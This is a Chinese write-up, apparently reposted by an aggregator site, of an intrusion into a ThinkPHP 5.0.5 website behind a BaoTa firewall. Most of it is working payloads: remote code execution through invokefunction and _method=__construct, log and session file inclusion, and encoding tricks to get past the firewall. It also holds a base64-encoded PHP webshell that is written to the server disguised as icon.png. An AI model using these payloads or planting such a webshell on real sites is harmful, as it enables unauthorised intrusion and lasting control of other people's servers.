脚本宝典收集整理的这篇文章主要介绍了一次TP测试,脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。
尝试路径报错,获取目标版本和配置信息。
https://example.COM/admin/indeeex/login.htML
版本为5.0.5,开启debug。
直接执行payload,宝塔拦截
/index.php?
s=index/thinkapp/invokefunction&function=call_user_func_array&VARs[0]=a
ssert&vars[1][]=phpinfo()
尝试post执行paylaod
_method=__construct&method=get&filter=call_user_func&get[]=phpinfo
成功执行,php5的assert默认存在代码执行,php7默认不存在。
禁用函数
passthru,exec,System,putenv,chroot,chgrp,chown,shell_exec,poPEn,PRoc_open,pcntl_exec,ini_alter,ini_reStore,dl,openLOG,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_waIT,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
不能直接执行命令,尝试日志包含和session包含拿shell。
https://example.com/runtime/log/202111/17.log
对日志进行包含
<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">_method=__construct&method=get&filter=think__include_file&get[]=/www/wwwroot/taizi/runtime/log/202110/28.log
</pre>
简单看一下访问记录是否能够写入日志,访问
https://example.com/phpinfo
可以正常写入
但是在写入函数的时候被拦截https://example.com/phpinfo()
正常payload这被拦截
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
_method=__construct&filter[]=thinkSession::set&method=get&get[]=eeee&server[]=1
修改一下phpsessionid为1111,进行session包含,可以看到正常写入。
_method=__construct&method=get&filter=think__include_file&get[]=/tmp/sess_1111
但是如果直接写入shell的话会被拦截
所以这里尝试对payload进行加密处理。 使用以下payload
_method=__construct&method=get&filter=thinkSession::set&get[]=<?PHP
$str="PD9waHAKQHNlc3Npb25fc3RhcnQoKTsKQHNlDF90aW1lX2xpbWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpmdW5jdGlvbiBlbmNvZGUoJEQsJEspewogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7CiAgICAgICAgJGMgPSAkS1skaSsxJjE1XTsKICAgICAgICAkRFskaV0gPSAkRFskaV1eJGM7CiAgICB9CiAgICByZXR1cm4gJEQ7Cn0KJHBheWxvYWROYW1lpsdwYXlsb2FkJzsKJGtleT0nM2M2ZTBiOGE5YzE1MjI0YSc7CiRkYXRhPWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIPOwppZiAoJGRhdGEhPT1mYWxzZSl7CiAgICAkZGF0YT1lbmNvZGUoJGRhdGEsJGtleSk7CiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0pKXsKICAgICAgICAkcGF5bG9hZD1lbmNvZGUoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0sJGtleSk7CgkJZXZhbCgkcGF5bG9hZCk7CiAgICAgICAgZWNobyBlbmNvZGUoQHJ1BigkZGF0YSksJGtleSk7CiAgICB9ZWxzZXsKICAgICAgICBpZiAoc3RyaXBvcygkZGF0YSwiZ2V0QmFzaWNzSW5mbyIpIT09ZmFsc2UpewogICAgICAgICAgICAkX1NFU1NJT05bJHBheWxvYWROYW1lXT1lbmNvZGUoJGRhdGEsJGtleSk7CiAgICAgICAgfQogICAgfQp9";
file_put_contents('/www/wwwroot/taizi/icon.png',base64_decode("$str"));;
未被拦截,但是在包含的时候出问题了,试了好多次大大概的原因就是<
尝试对所有payload加密使用伪协议读取内容,但是在使用伪协议对时候又被拦截。
这时候可以尝试使用函数,将伪协议反序。
_method=__construct&filter[]=thinkSession::set&method=get&get[]=aaPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYWJjJ10pKTs/Pg&server[]=1
成功执行。
最后要写shell的话直接将shell加密,再将代码加密即可写入。
file_put_contents('/www/wwwroot/test123.php',base64_decode("PD9waHAgcGhwaW5mbygpOz8+"));
点击获取学习资料
以上是脚本宝典为你收集整理的一次TP测试全部内容,希望文章能够帮你解决一次TP测试所遇到的问题。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。